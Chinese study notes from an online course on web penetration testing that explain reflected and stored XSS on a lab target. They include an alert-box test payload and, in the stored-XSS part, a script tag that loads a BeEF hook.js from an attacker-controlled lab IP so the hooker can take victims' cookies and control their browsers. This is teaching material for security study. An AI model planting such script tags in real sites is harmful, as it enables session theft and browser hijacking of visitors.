开发者学堂课程【网络安全攻防 - Web渗透测试:XSS 跨站脚本攻击_1】学习笔记,与课程紧密联系,让用户快速学习知识。
课程地址:https://developer.aliyun.com/learning/course/630/detail/9911
XSS 跨站脚本攻击_1
内容介绍
一、XSS 简介
二、原理解析
一、XSS 简介
1、xss 全称不叫 xss,叫 css,但凡对网页前端有一点了解的都知道,css 是样式表,是层叠样式表,跨站脚本( cross site script )为了避免与样式 css 混淆,所以简称为 XSS。
2、XSS 是一种经常出现在 web 应用中的计算机安全漏洞,也是 web 中最主流的攻击方式。那么什么是 XSS 呢?
(1)xss 脚本攻击和之前的那些攻击有什么不同?
例如 SQL 注入,文件上传包含的其他的一些漏洞,这些漏洞它攻击的是服务器端,利用的是服务器的漏洞来进行的攻击,但是现在服务器的防御做得比较好, 包括有 arp 防火墙,也有在云上面安全的防火墙,所以要想攻击,按照之前那些常规的手段攻击已经很难奏效了,除非完全没有安全意识,运营的这个站点,这些漏洞都有,也没有各种防火墙,也没有入侵检测,也没有 wap,ids,也就是入侵检测系统都没有,那就随随便便的就被别人攻击到,但整体来讲,服务端的防御已经变的越来越强,想对服务器进行攻击可能已经有点困难,至少绝大部分服务器是这样的。
(2)所以 xss 的思想就不是,就转向了,对客户端进行攻击,就是平常所的挂马,比如在服务器的某个页面上挂个码,对服务器来讲,对它造成不了任何伤害,获得不了它的任何数据,对服务器本身来讲,那么挂马主要是谁中招呢?当一个网页上如果被挂马,这个马当然有不同的用意,有不同的目的,有些可能是为了获取的 cookie,cookie 获取以后是很可怕的。特别是 cookie 在有效期,在没有失效的时候,这个 cookie 是可以被别人利用的,就像在讲cmap 的时候就用到包括它的 cookie,就不用登录密码,还有很多的这样一些机制,就直接能够逼用别人的 cookie,这个服务器没有伤害,但是对于客户端有伤害,一个是 xss,一个是跨站请求伪造,这些都对客户端有巨大的伤害,可能就会丢失 cookie,或者是被引导访问一些其它的网站,而且一旦在服务器上某个页面上如果挂马了,造成的影响是巨大的,因为这个服务器的浏览肯定有很多人在访问,可能这些访问的人都会中招。
3、原理:XSS 是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到 web 页面中。使别的用户访问都会执行相应的嵌入代码。
(1)Xss 它的一个原理,还有和它相近的另外一个跨站请求伪造,都是对客户端造成伤害的。那么它的攻击可能就包括盗取客户的账号,如果一个游戏网站,服务器攻击不了,但是客户端的账号被盗了,这也很可怕,这个账号可能是通过页面被盗了,拿到用户的账号信息,网银信息、管理员账号信息,一旦有一个客户端,它对所发的马中招了,可以强制它的浏览器做一些其它的事情,比如浏览别的网页,做一些其它的一些动作,比如跳到别的页面上等等。
(2)原理跟 SQL 注入不一样,SQL 注入是构建这种特殊的代码通过特殊的语句使它原来的 SQL 语句改变它原来的本意,或者是增加一些戏码,而 xss 它利用的是网站对用户提交的数据,而不是文件是数据,SQL 注入是利用网络提交的 SQL 语句,SQL 语句没有进行这样一个解析,比如单引号等,而xss它是对用户提交的代码或者提交的数据,本身现在有一个有让留言的位置,本身有一个留言的框,输的是正常的留言信息,但是提交的是代码,一提交可能是一个js 的代码,那这时候有人带它访问这个页面,就会执行这个代码,所以它也是对用户提交的数据没有进行处理或转义。代码是有它的结构的,就像 SQL 注入一样,如果对单引号进行过滤或转义,输出的东西也没有用,输的东西首先要闭合前面的条件,输一个单引号,单引号必须得输,不输就闭合不了,如果服务器程序 rd 在开发的时候,以单引号进行过滤,也是没戏,同样现在如果提交的是数据,本身是数据,结果提交的是代码,代码有它的格式,但如果没有转义或者过滤,就把这些代码添加到 web 的页面当中,一旦添加到 web 的页面,就会使访问的用户执行嵌入这个代码
4、从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
5、XSS 攻击的危害包括:
(1)盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
(2)控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
(3)盗窃企业重要的具有商业价值的资料 V^
(4)非法转账
(5)强制发送电子邮件
(6)网站挂马
(7)控制受害者机器向其它网站发起攻击
二、原理解析
xss 常见的两类:反射性和存储型。
1、在靶机上提供的是这两种类型,一种是 xss 反射型,一种是 xss 存储型,csrf 跨站请求伪造,这都是对客户端进行攻击的。这是比较传统的攻击方式,这个靶机有一些新的攻击形式没有体现出来,这个靶机主要列举的是一些比较广泛的攻击形式。
2、Xss reflected 是 xss 反射型的,输入一些内容,留言进行输出,这个框相当于一个搜索框。
3、这个相当于一个留言板,这两个地方都容易中招。
4、像前面讲的sql注入,它的框是提交 sql 语句,对 sql 语句进行处理,这不是查询,更多的组织成 sql 语句。
5、Xss reflected 也可能是 sql 语句,查询内容是 spl 里面,这就是一个常规的搜索框,xss stored 是一个留言板,这两个从本质上有什么不同?搜索框的代码尽管提交上去了,它不会保存,只是在执行的那一刻,把代码执行一遍,不会留在那,不放在这用户怎么中招,给用户一个链接,链接里面带有这样的东西,它点了这个链接就中招了,它存不到服务器上面,但是它能存在 URL 的链接中,就比如给用户发送这是很重要的学习资料,点击就中招了,但是这个要诱导用户去点,它不可能把这个代码放到服务器上面,不是那种存储型的,需要用户去点,这个需要诱惑他去点,引诱他去点。
6、但是 xss stored 不是,这个页面用户的伤害比较大。别人只要点这个页面,它就中招了,它不用干别的,因为点这个页面就执行了嵌入在里面代码,一个是反射型,一个是存储型,危害比较大的还是存储型,因为用户点这个网站的时候,它也没有通过别的地方来点,它就是点这个页面,它这个页面可能是信任的,它点这个页面的时候可能它的cookie 就被别人拿走了。就是访问一个网站,输入账户密码,输完之后,本来觉得的账号密码是安全的,因为没有把账号密码泄露出去,但是这个网站它本身有一个 xxs 的漏洞。
例如这个网站在这个位置。点进来以后,那么黑客它也可以注册一个账号进来,它的账号信息跟你的不一样,它想得到你账号信息,你俩访问的是同一个网站,这个网站做的比较弱,在某一个页面上就有 xss 的这种存储型漏洞,这个时候黑客已经在这个页面上挂马了,不小心点到这个页面上,可能你的 cookie 就发给了黑客所准备的一台机器,就是专门用来收集 cookie 的机器,它就可以对你的 cookie 进行利用,看到账号里面的所有东西。这个都不用给发链接,因为就是存储型的 xss,跨站脚本攻击。
7、反射型不太一样,因为代码存不住,它需要引导你,误导你去点这个链接,像邮箱里面发一个学习资料,好多人点一下认为没什么,不输入什么,但是点一下都不行。还有一些博客或者站内私信,那也可能有问题。虽然服务器不受伤,真的不受伤害吗?也不一定,万一是管理员自己在登陆,他点的页面,他也会中招,理论上讲服务器受到伤害不会那么重,但是由于服务器对用户提交的,无论是检索框还是留言框,服务器对用户提交的数据没有进行检测,而致使用户提交了这种恶意的代码。不是文件是代码,这跟文件上传不一样,准确讲就是x ss 的代码,跨站脚本攻击的代码,所以如果是这个网站的运营者,要保障的网站上没有 xss 漏洞,如果网站有 sql 注入漏洞,数据库遭殃,如果网站上有远程命令包含漏洞,也是一样的,如果网站上有 xss 漏洞,网站上的用户信息可能就会被泄漏,这很重要。
8、xss(反射型)
< script> alert(;-' 'XSS')</script>这是一个非常简单的语句,js 的代码,它的作用就是弹一个弹框,输 xss。
尝试一下,输入< script> alert(;-' 'XSS')</script>,这是一个比较友好的弹框。
在 xss stored 中输入< script> alert(;-' 'XSS')</script>,弹框了会保存在上面。
用一个简单的公式,在搜索框里面输入,就触发了一个 xss 的脚本攻击,但是有人会说没有意义?这不是自己攻击自己吗?不是,虽然输了一个框,可以看到上面链接,如果把这个链接发给别人,它就会中招,如果不上当,没关系,它总会点 xss stored 这个,只要一点击就会中,谁点谁都会中,
因为这是一个存储型 xss,它已经挂在那个地方,只要去点这个页面,就会中。反射型一般对应的就是搜索框,用户提交的这样一个 xss 代码上,最后被执行,但是用意并不是弹框而是要干别的事情,现在只要是能执行弹框,那么其它的有目的有别的用意的 xss,也一样会执行,这种方式稍微难度大一点,需要把带有 xss 的链接发给别人,想办法执行,这是一种情况。
9、xss(存储型)
(1)存储型高级一点,用处大一点,第一步把<script SrC= "172.16.70.216:3000/hook.js"> </script>存上去,反射型的 xss 不是没有用,它能实现的功能跟存储型是一样的,只是让用户上当的模式不一样,一种是劝它上当,一种是让它自己中招,这两种结果是一样的,能达到的危害也是一样的。比如让它执行的脚本,不是一个弹框,是让它把自己的 cookie 提交给另外一个服务器,它只要点这个链接,把当前这个网站的 cookie 提交给另外一个服务器。
(2)存储型的脚本就不是弹框了,让它去访问另外一个机器的文件,xss 脚本给它传到服务器的留言板里面,第二步就是存在这,第三步有一个受害者,它访问的带有马的页面,比如博客那个页面,这个页面不是常规页面,已经挂马了,去访问这个页面就会触发xss,让用户访问"172.16.70.216:3000/hook.js"这个位置,所以用户就乖乖的访问http://172.16.70.216:3000/hook.js 这个位置,就把自己的 cookie 给人家交过去了,最后就可以用 cookie,控制这个机器,控制机器可能很难,但是控制浏览器没问题,这里有一个黑客机,这个是受害者机器,这个是网站服务器,一旦拿到它的 cookie,就可以对它进行一些利用或者控制。这里有一个专门的软件来对它进行控制的软件叫beef。使用牛进行对受害者进行控制,比如诱导它访问某个页面,诱导它们做一些别的事情,对浏览器进行控制,弹框在黑客的机器上面用 beef 实现用户的一些,例如弹框页面重新项这样的操作,甚至可以看到它的浏览器的页面这样一个操作。
(3)web server 这个网站它的某个页面上存在存储型 xss 漏洞,坏人在它的页面上挂一个马,就是放了<script SrC= "172.16.70.216:3000/hook.js"> </script>这样一个脚本,而这个脚本目的不单纯,不是为了弹框,而是去诱导用户去访问,去访问另外一个服务器的文件,一旦脚本放上去,就会有人频繁的去访问,有很多人访问,可能有几百个上千个访问,访问的时候就会触发对脚本的访问,一旦访问 http://172.16.70.216:3000/hook.js 这个脚本,一旦访问这个脚本,脚本就会说 cookie 给它,利用 beef 进行控制,好,这就是原理的解析。而 xss 脚本就能够收集用户的 cookie 之类的信息。xss 常见的两种类型,也就是反射型和存储型,这两个类型只是用户访问的形式不一样,危害一模一样,没有任何区别。前者可能危害小一点,好多用户有戒心不敢点,不会乱点链接。